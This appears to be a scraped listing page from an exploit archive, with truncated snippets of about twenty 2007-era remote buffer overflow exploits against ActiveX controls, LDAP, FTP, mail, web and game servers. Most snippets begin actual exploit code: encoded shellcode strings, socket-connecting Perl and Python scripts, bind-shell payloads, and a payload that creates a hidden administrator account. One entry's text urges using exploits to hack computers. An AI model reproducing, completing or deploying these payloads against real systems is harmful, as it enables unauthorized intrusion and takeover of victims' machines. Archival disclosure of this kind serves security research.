mssql-overflow.txt

object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='...

BaoFeng2 - mps.dll ActiveX Multiple Remote Buffer Overflows (PoC)

BaoFeng2 - mps.dll ActiveX Multiple Remote Buffer Overflows PoC BaoFeng2 Mps.dll Activex Multiple Remote Buffer Overflow PoC https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/4375.zip 09082007-storm.zip milw0rm.com 2007-09-08...

edraw-activex.txt

-------------------------------------------------------------------------------------------------------------- 0-day EDraw Office Viewer Component 5.2 officeviewer.ocx v. 5.2.218.1 "HttpDownloadFileToTempDir" Remote Buffer Overflow url: http://www.ocxt.com/officeviewer.php author: shinnai mail:...

Move Media Player 1.0 Quantum Streaming - ActiveX Control Multiple Buffer Overflow Vulnerabilities

Move Media Player 1.0 Quantum Streaming - ActiveX Control Multiple Buffer Overflow Vulnerabilities source: https://www.securityfocus.com/bid/25529/info Move Media Player is prone to multiple remote buffer-overflow vulnerabilities because the application fails to properly bounds-check user-supplie...

iDefense Security Advisory 08.30.07: Yahoo Messenger YVerInfo.dll ActiveX Multiple Remote Buffer Overflow Vulnerabilities

Yahoo Messenger YVerInfo.dll ActiveX Multiple Remote Buffer Overflow Vulnerabilities iDefense Security Advisory 08.30.07 http://labs.idefense.com/intelligence/vulnerabilities/ Aug 30, 2007 I. BACKGROUND Yahoo! Messenger is a instant messaging application that allows users to chat online, share...

postcast-overflow.txt

'open calc.exe scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%...

Postcast Server Pro 3.0.61 / Quiksoft EasyMail - 'emsmtp.dll 6.0.1' Remote Buffer Overflow

'open calc.exe scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" & unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42...

nvr-settext-dos.txt

----------------------------------------------------------------------------------- NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 nvUnifiedControl.dll v. 1.1.45.0 "SetText" Remote BoF url: http://www.acti.com/index.asp author: shinnai mail: shinnaiatautisticidotorg site:...

NVR SP2 2.0 nvUnifiedControl.dll 1.1.45.0 - SetText() Command Execution

NVR SP2 2.0 nvUnifiedControl.dll 1.1.45.0 - SetText Command Execution ------------------------------------------------------------------------------------------ PoC2 NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 nvUnifiedControl.dll v. 1.1.45.0 "SetText" Remote BoF Heap Spray Technique url:...

SIDVault LDAP Server - Remote Buffer Overflow

!/usr/bin/python """ Alpha Centauri Software SIDVault LDAP Server remote root exploit 0days """ import sys import socket sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" sc += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" sc +=...

SIDVault LDAP Server Preauth Remote Buffer Overflow Exploit

Exploit for linux platform in category remote exploits =========================================================== SIDVault LDAP Server Preauth Remote Buffer Overflow Exploit =========================================================== !/usr/bin/python """ Alpha Centauri Software SIDVault LDAP...

ProFTPD 1.x (module mod_tls) Remote Buffer Overflow Exploit

No description provided by source. / Anti-modTLS-0day version 2 ProFTPd .. + modtls remote-root-0day-exploit main advantages of this exploit: 1 No patched modtls versions yet 2 This is a preauthentication bug 3 Bruteforcing option eheheheee main disadvantages: ...

eCentrex VOIP Client module (uacomx.ocx 2.0.1) Remote BOF Exploit

No description provided by source. !-- 17/08/2007 04.41.37 eCentrex VOIP Client module uacomx.ocx 2.0.1 remote buffer overflow exploit ie6 / xp sp2 passing more than 164 chars to ReInit method in Username argument EAX 41414131 ECX 0013D444 ASCII "AAAAAAAA... EDX 00000000 EBX 00000000 ESP 0013D3A0...

eCentrex VOIP Client module - 'uacomx.ocx 2.0.1' Remote Buffer Overflow

'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add scode =...

eCentrex VOIP Client module (uacomx.ocx 2.0.1) Remote BOF Exploit

Exploit for unknown platform in category remote exploits ================================================================= eCentrex VOIP Client module uacomx.ocx 2.0.1 Remote BOF Exploit ================================================================= 'metasploit one, 456 bytes - cmd /c net user...

Surgemail 38k - 'Search' Remote Buffer Overflow

!/usr/bin/python import os import sys import time import socket import struct this is imap exploit 710 bytes, tcp port 9999 bind, borrowed from skape miller inventor of megacanvas sc = "\x90" sc += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xeb\x03\x59" sc +=...

savant-overflow.txt

!/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "can't conne...

Racer 0.5.3 Beta 5 - Remote Buffer Overflow

!/usr/bin/perl Credit's to n00b. Racer v0.5.3 beta 5 12-03-07 remote exploit. Racer is also prone to a buffer over flow in the server and client.Automatically the game open's Udp port 26000 and is waiting for a msg buffer. If we send an overly long buffer we are able to Control the eip register a...

CoreHTTP http.c远程缓冲区溢出漏洞

BUGTRAQ ID: 25120 CoreHTTP是一款小型的Web服务器。 CoreHTTP在处理超长用户请求时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制服务器。 CoreHTTP的http.c文件中存在缓冲区溢出漏洞： ----------------------------------------------------------------------- struct sprockt HttpSprockMakestruct sprockt parentsprock struct sprockt sprocket; char reqPATHSIZE,...

Windows RSH daemon 1.7 Remote Buffer Overflow Exploit

No description provided by source. / Attached and in-line is an exploit for a newly announced item on the WabiSabiLabi auction block. I hope this completely devalues the item so that the original finder dies of starvation. DON'T SELL BUGS THROUGH WABISABILABLA USE EXPLOITS TO HACK COMPUTERS INSTE...